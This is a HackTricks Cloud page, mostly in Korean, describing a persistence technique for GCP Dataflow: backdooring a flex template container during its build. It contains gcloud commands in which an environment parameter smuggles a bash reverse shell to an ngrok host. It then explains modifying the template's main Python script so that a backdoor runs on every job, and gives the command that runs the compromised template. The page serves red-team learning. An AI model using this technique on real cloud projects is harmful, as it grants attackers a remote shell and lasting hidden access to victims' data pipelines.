GCP - Dataflow 지속성
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Dataflow
빌드된 컨테이너의 보이지 않는 지속성
Following the tutorial from the documentation you can create a new (e.g. python) flex template:
backdoor가 포함된 Dataflow flex template 생성
```bash git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git cd python-docs-samples/dataflow/flex-templates/getting_startedCreate repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python gcloud storage buckets create gs://$REPOSITORY
Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT
–repository-format=docker
–location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev
Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json
–image-gcr-path “us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest”
–sdk-language “PYTHON”
–flex-template-base-image “PYTHON3”
–metadata-file “metadata.json”
–py-path “.”
–env “FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py”
–env “FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt”
–env “PYTHONWARNINGS=all:0:antigravity.x:0:0”
–env “/bin/bash -c ‘bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1’ & #%s”
–region=us-central1
</details>
**빌드되는 동안, reverse shell을 얻게 됩니다** (이전 예제와 마찬가지로 env variables를 악용하거나 Docker 파일을 임의 명령으로 실행하도록 설정하는 다른 params를 이용할 수 있습니다). 이 순간, reverse shell 안에서 **`/template` 디렉터리로 이동하여 실행될 메인 python 스크립트의 코드를 수정할 수 있습니다 (예제에서는 `getting_started.py`입니다)**. 여기서 backdoor를 심어 두면 job이 실행될 때마다 그것이 실행됩니다.
그 다음 job이 실행될 때, 빌드된 손상된 container가 실행됩니다:
<details>
<summary>Dataflow template 실행</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud

